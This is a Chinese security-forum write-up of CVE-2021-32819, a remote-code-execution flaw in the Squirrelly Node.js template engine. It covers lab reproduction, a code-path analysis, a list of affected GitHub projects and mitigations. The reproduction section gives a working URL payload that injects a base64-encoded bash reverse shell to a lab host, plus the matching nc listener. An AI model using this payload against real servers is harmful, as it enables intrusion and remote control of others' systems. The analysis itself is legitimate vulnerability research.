问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析
![](https://whoamianony.oss-cn-beijing.aliyuncs.com/img/20210727002340.png) [toc] ## 漏洞概述 [Squirrelly](https://github.com/squirrellyjs/squirrelly) 是一个用 JavaScript...
![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-25261681c01654b0f2fbc504eddab1b255ccb7aa.png) \[toc\] 漏洞概述 ---- [Squirrelly](https://github.com/squirrellyjs/squirrelly) 是一个用 JavaScript 实现的现代、可配置且速度极快的模板引擎。它与 ExpressJS 一起开箱即用,完整版的 gzip 压缩后仅重约 4KB。 2021 年 5 月 14 日,在 SquirrellyJS 从 v8.0.0 到 v8.0.8 及以上的版本爆出了一个漏洞(CVE-2021-32819)。官方对该漏洞原因的描述如下: > The Express render API was designed to only pass in template data. By allowing template engine configuration options to be passed through the Express render API directly, downstream users of an Express template engine may inadvertently introduce insecure behavior into their applications with impacts ranging from Cross Site Scripting (XSS) to Remote Code Execution (RCE). 大致原因就是 Squirrelly 通过 Express 渲染 API 将纯模板数据与引擎配置选项混合。攻击者可以通过请求查询来覆盖并控制全局变量 `defaultConfig` (一组内部模板引擎配置选项)中的`defaultFilter` 属性。下游用户可能会无意中将不安全的行为引入他们的应用程序。该漏洞影响范围从跨站点脚本(XSS)到远程代码执行(RCE)。 漏洞复现 ---- 这里我们在 Linux 服务器上进行测试。 ### 环境搭建 安装 Nodejs 环境、Node Package Manager(NPM)以及 ExpressJS 和 SquirellyJS 模块: ```bash sudo apt update sudo apt install nodejs npm mkdir CVE-2021-32819 && cd CVE-2021-32819 npm install express npm install squirrelly ``` 然后编写如下易受攻击的服务端代码: - server.js ```js const express = require('express') const squirrelly = require('squirrelly') const app = express() app.set('views', __dirname); app.set('view engine', 'squirrelly') app.use(express.urlencoded({ extended: false })); app.get('/', (req, res) => { res.render('index.squirrelly', req.query) }) var server = app.listen(3000, '0.0.0.0', function () { var host = server.address().address var port = server.address().port console.log("Listening on http://%s:%s", host, port) }); ``` 编写模板文件: - index.squirrelly ```html <html> <head> <title>CVE-2021-32819</title> <h1>Test For CVE-2021-32819</h1> </head> <body> <h1>{{it.variable}}</h1> </body> </html> ``` 运行服务端代码: ```bash node server.js ``` ### 漏洞验证 首先在攻击机上开启 nc 监听: ```bash nc -lvp 2333 ``` 然后发送如下 payload: ```python http://192.168.226.148:3000/?defaultFilter=e'))%3B%20let%20require%20%3D%20global.require%20%7C%7C%20global.process.mainModule.constructor._load%3B%20require('child_process').exec('echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ%3D%3D%7Cbase64%20-d%7Cbash')%3B%20%2F%2F # http://192.168.226.148:3000/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ==|base64 -d|bash'); // ``` ![image-20210725225523889](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-4a267b61bbfc0d06f3efa8b892c33488fcdf8167.png) 如下图所示,成功反弹 Shell: ![image-20210725225604156](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-133fde75625892ddab73173c771bfe61fdb06ff4.png) 漏洞分析 ---- 当我们发送如下请求后: ```python /?defaultFilter=HelloWorld ``` Express 最终都会通过这个 `engine` 来调用 Squirrelly 模板引擎中的 `renderFile` 函数进行渲染(node\_modules/express/lib/view.js): ![image-20210725231405524](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-0e83e0f41d7aae4fe2c549987b6f872daac5855a.png) 我们跟进 Squirrelly 模板引擎中的 `renderFile` 函数 ### renderFile ![image-20210725232814159](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-9c0f93e0b3cd843b9f6b2ff462561a0d8c2058c1.png) `renderFile` 函数可以传入以下三个参数: - filename:模板文件的路径 - data:包含请求查询的模板数据,大致如下: ```json { settings: { ..., }, variable: "HelloWorld", _locals: {}, cache: false, } ``` - cb:定义一个回调函数 `renderFile` 函数首先调用了 `getConfig` 函数,然后有调用了 `tryHandleCache` 函数,我们首先跟进 `getConfig`。 ### getConfig ![image-20210725233516995](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d994ceb8b6d4c7e122b88294ee4809612355d5e0.png) - override:该参数包含请求查询的模板数据,大致如下: ```json { settings: { ..., }, variable: "HelloWorld", _locals: {}, cache: false, } ``` - baseConfig:该参数未定义 `getConfig` 函数首先将 `res` 变量定义为一个空对象,然后将全局变量 `defaultConfig`(一组编译配置选项)的内容复制到 `res` 对象中,然后跳过 `baseConfig` 条件,然后将 `override` 的内容覆盖到 `res` 对象中,最后将 `res` 返回到 `renderFile` 函数作用域中的 `Config` 变量中。此时 `Config` 变量的内容如下: ```json { varName: 'it', ..., autoEscape: true, defaultFilter: false, ..., settings: {...}, variable: 'HelloWorld', ... } ``` 请求查询被赋给 `Config` 对象,这是一组编译选项,这就意味着发送者可以覆盖 `Config` 属性值。 调用完 `getConfig` 函数只会,`renderFile` 函数有调用了 `tryHandleCache` 函数,跟进 `tryHandleCache`。 ### tryHandleCache ![image-20210725235705560](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-48674f1744a99261850a8bd6d2d561eadf493763.png) - options:是一组编译选项 ```json { varName: "it", ..., autoEscape: true, defaultFilter: false, tags: ["{{", "}}"], ..., variable: "HelloWorld", _locals: {}, ... } ``` - data:包含请求查询的模板数据 ```json { settings: { ... }, variable: "HelloWorld", _locals: {}, cache: false, } ``` - cb:定义一个回调函数 `tryHandleCache` 函数会调用 `handleCache` 函数,跟进 `handleCache`。 ### handleCache ![image-20210726000219911](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-2b124d1522d3b635b4df3ee668a5765a19f52829.png) - options:是一组编译选项 ```json { varName: "it", autoTrim: [ false, "nl", ], autoEscape: true, defaultFilter: false, ..., variable: "HelloWorld", _locals: { }, ... } ``` `handleCache` 函数将获取模板文件(index.squirrelly)的内容,然后调用 `compile` 函数。 ### compile ![image-20210726000528675](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-64b79238d87eb3ab8f3bc2c209b248abd6b5d800.png) - str:该参数是前面通过 `handleCache` 函数获取到的模板文件(index.squirrelly)的内容: ```python "\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>{{it.variable}}</h1>\n</body>\n</html>" ``` - env:是一组编译选项 ```json { varName: "it", autoTrim: [ false, "nl", ], autoEscape: true, defaultFilter: false, ..., variable: "HelloWorld", _locals: { }, ... } ``` `compile` 函数将编译选项定义为 env,然后在创建一个名为 ctor 的函数构造的别名,然后返回一个新的构造函数,最后进入到 `compileToString` 函数。跟进 `compileToString`。 ### compileToString ![image-20210726001614555](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-5998b24ab87402705dfe8a53763162577c13f667.png) - str:该参数是前面通过 `handleCache` 函数获取到的模板文件(index.squirrelly)的内容 ```python "\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>{{it.variable}}</h1>\n</body>\n</html>" ``` - env:是一组编译选项 ```json { varName: "it", autoTrim: [ false, "nl"], autoEscape: true, defaultFilter: false, ..., variable: "HelloWorld", _locals: {}, ... } ``` `compileToString` 函数定义一个 `buffer` 缓冲区并调用解析函数 `parse` 来解析模板内容及其变量: ```python [ "\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>", { f: [ ], c: "it.variable", t: "i", }, "</h1>\\n</body>\\n</html>", ] ``` 其中 `compileToString` 函数调用了 `compileScope` 函数,跟进 `compileScope`。 ### compileScope ```js export function compileScope (buff: Array<AstObject>, env: SqrlConfig) { var i = 0 var buffLength = buff.length var returnStr = '' for (i; i < buffLength; i++) { var currentBlock = buff[i] if (typeof currentBlock === 'string') { var str = currentBlock returnStr += "tR+='" + str + "';" } else { var type: ParsedTagType = currentBlock.t as ParsedTagType // h, s, e, i var content = currentBlock.c || '' var filters = currentBlock.f var name = currentBlock.n || '' var params = currentBlock.p || '' var res = currentBlock.res || '' var blocks = currentBlock.b var isAsync = !!currentBlock.a if (type === 'i') { if (env.defaultFilter) { content = "c.l('F','" + env.defaultFilter + "')(" + content + ')' } var filtered = filter(content, filters) if (!currentBlock.raw && env.autoEscape) { filtered = "c.l('F','e')(" + filtered + ')' } returnStr += 'tR+=' + filtered + ';' } else if (type === 'h') { ... } else if (type === 's') { ... } else if (type === 'e') { ... } } } return returnStr } ``` - buff:一个包含之前解析生成的模板内容的数组 ```php [ "\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>", { f: [ ], c: "it.variable", t: "i", }, "</h1>\\n</body>\\n</html>", ] ``` - env:是一组编译选项 ```json { varName: "it", autoTrim: [false, "nl"], autoEscape: true, defaultFilter: false, ..., variable: "HelloWorld", _locals: { }, ... } ``` `compileScope` 中主要就是一个 for 循环,遍历 buff 中的模板内容,如果元素是一个字符串,它会将字符串添加到 `returnStr` 变量中。如果它不是字符串,则继续执行 else 部分。 其中第一个元素 `buff[0]`和最后一个元素 `buff[2]` 是一个字符串: ```json [ "\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>", ...... "</h1>\\n</body>\\n</html>", ] ``` 中间的元素 `buff[1]` 是一个对象: ```json { f: [], c: "it.variable", t: "i", } ``` `compileScope` 函数会检查 `env.defaultFilter` 是否设置了,如果有设置 `env.defaultFilter`,则将 `env.defaultFilter` 的值添加到 `content` 变量中。但是现在 `env.defaultFilter` 还是没有被设置的。然后 `filter` 函数将 `content` 内容返回给 `filtered` 变量: ```js tR+='\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>'; tR+=c.l('F','e')(it.variable); tR+='</h1>\\n</body>\\n</html>'; ``` 最后将 `filtered` 的内容添加到 `returnStr` 变量中并返回给 `compileToString` 函数作用域的 `res` 变量中,然后再由 `compileToString` 函数将 `res` 变量的内容拼接成一个匿名函数,内容如下: ```js var res = "var tR='';" + "tR+='\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>';tR+=c.l('F','e')(it.variable);tR+='</h1>\\n</body>\\n</html>';" + 'if(cb){cb(null,tR)} return tR' // it.variable 的值为 HelloWorld ``` 当返回到 `handleCache` 函数时,将会执行匿名函数: ```js (function anonymous(it,c,cb ) { var tR=''; tR+='\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>'; tR+=c.l('F','e')(it.variable); tR+='</h1>\n</body>\n</html>'; if(cb){cb(null,tR)} return tR }) ``` 看到这里你应该就明白了。这个漏洞主要的引入点就是 `compileScope` 函数中的 `env.defaultFilter`,我们可以通过 URL 中的参数来覆盖这个配置属性的值,比如:`/?defaultFilter=payload` 可以将 `env.defaultFilter` 的值覆盖为我们的 payload。并且一旦设置了 `env.defaultFilter` 的值,将进入到以下代码: ```js content = "c.l('F','" + env.defaultFilter + "')(" + content + ')'; ``` 可知我们可以通过设置 `env.defaultFilter` 的值来注入希望执行的代码。所以该漏洞利用的 Payload 如下: ```python http://192.168.226.148:3000/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ==|base64 -d|bash'); // # 使用时需进行 URL 编码 ``` 可能受到该漏洞影响的项目 ------------ 分析github上100星以上的项目,共有380个项目使用了squirrelly组件,其中有42个项目使用了存在漏洞的8.0.8版本,具体的项目清单如下,有使用的TX可以自查一下: | 项目名称 | 项目url | |---|---| | open-olive/vscode-loop-development-kit | <https://github.com/open-olive/vscode-loop-development-kit> | | mizchi/uniroll | <https://github.com/mizchi/uniroll> | | reissmatt/risen-one-mission-platform | <https://github.com/reissmatt/risen-one-mission-platform> | | rpenco/light-webhook | <https://github.com/rpenco/light-webhook> | | JuanFdS/scriptBolaMagica | <https://github.com/JuanFdS/scriptBolaMagica> | | xnite/kittencore | <https://github.com/xnite/kittencore> | | adamuchi/login-with-demo | <https://github.com/adamuchi/login-with-demo> | | Berzok/Verena\_Codex | [https://github.com/Berzok/Verena\_Codex](https://github.com/Berzok/Verena_Codex) | | diamondv5/SE-nonoffical | <https://github.com/diamondv5/SE-nonoffical> | | sitevision/sitevision-apps | <https://github.com/sitevision/sitevision-apps> | | abyrvalg/pleh4 | <https://github.com/abyrvalg/pleh4> | | Riscue/drone-tool-settings | <https://github.com/Riscue/drone-tool-settings> | | reissmatt/risen-one-mission-platform | <https://github.com/reissmatt/risen-one-mission-platform> | | ZohaibArshad12/muze-beta | <https://github.com/ZohaibArshad12/muze-beta> | | HieuKma/squirrelly-template-11 | <https://github.com/HieuKma/squirrelly-template-11> | | mcoop320/hls-media-server | <https://github.com/mcoop320/hls-media-server> | | yummyweb/neuron-js | <https://github.com/yummyweb/neuron-js> | | donaldskip326/gauzy1 | <https://github.com/donaldskip326/gauzy1> | | HieuKma/squirrelly-template-10 | <https://github.com/HieuKma/squirrelly-template-10> | | shuvalov-mdb/xstate-cpp-generator | <https://github.com/shuvalov-mdb/xstate-cpp-generator> | | googleapis/google-cloudevents-python | <https://github.com/googleapis/google-cloudevents-python> | | googleapis/google-cloudevents-python | <https://github.com/googleapis/google-cloudevents-python> | | NgoDucPhu/squirrelly-template | <https://github.com/NgoDucPhu/squirrelly-template> | | kimha0/clone-you/*这都敏感词*/tube | [https://github.com/kimha0/clone-you/\*这都敏感词\*/tube](https://github.com/kimha0/clone-you/*%E8%BF%99%E9%83%BD%E6%95%8F%E6%84%9F%E8%AF%8D*/tube) | | nervetattoo/simple-thermostat | <https://github.com/nervetattoo/simple-thermostat> | | adobe/ferrum.doctest | <https://github.com/adobe/ferrum.doctest> | | donaldskip326/gauzy1 | <https://github.com/donaldskip326/gauzy1> | | donaldskip326/gauzy1 | <https://github.com/donaldskip326/gauzy1> | | ever-co/ever-gauzy | <https://github.com/ever-co/ever-gauzy> | | nqnghia285/music-app | <https://github.com/nqnghia285/music-app> | | CandyMan999/lmp-v2 | <https://github.com/CandyMan999/lmp-v2> | | tabarra/txAdmin | <https://github.com/tabarra/txAdmin> | | ever-co/ever-gauzy | <https://github.com/ever-co/ever-gauzy> | | ever-co/ever-gauzy | <https://github.com/ever-co/ever-gauzy> | | recoai/recoai-ts-sdk | <https://github.com/recoai/recoai-ts-sdk> | | donaldskip326/gauzy1 | <https://github.com/donaldskip326/gauzy1> | | ever-co/ever-gauzy | <https://github.com/ever-co/ever-gauzy> | | baovit72/Solance | <https://github.com/baovit72/Solance> | | reissmatt/risen-one-mission-platform | <https://github.com/reissmatt/risen-one-mission-platform> | 漏洞防御措施 ------ 该漏洞到目前为止还没有被修复,所以如果你在项目中使用了 Squirrelly 组件,那么都需要小心该类型漏洞的出现。而对于不得已必须使用这种技术的项目,最好做好防御措施,包括: - 降低运行该进程的用户的权限 - 限制该进程可以访问的路径 - 对用户输入进行白名单控制 - 对于该进程可以执行的操作系统命令做白名单控制 Ending...... ------------ ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b7859e1c49f5699059d4c496f4f80f96a86f2d4e.png) 我的博客:<https://whoamianony.top/> > 参考: > > <https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/> > > <https://blog.diefunction.io/vulnerabilities/ghsl-2021-023> > > <https://github.com/Abady0x1/CVE-2021-32819>
发表于 2021-08-27 14:53:12
阅读 ( 5032 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
Marcus_Holloway
22 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!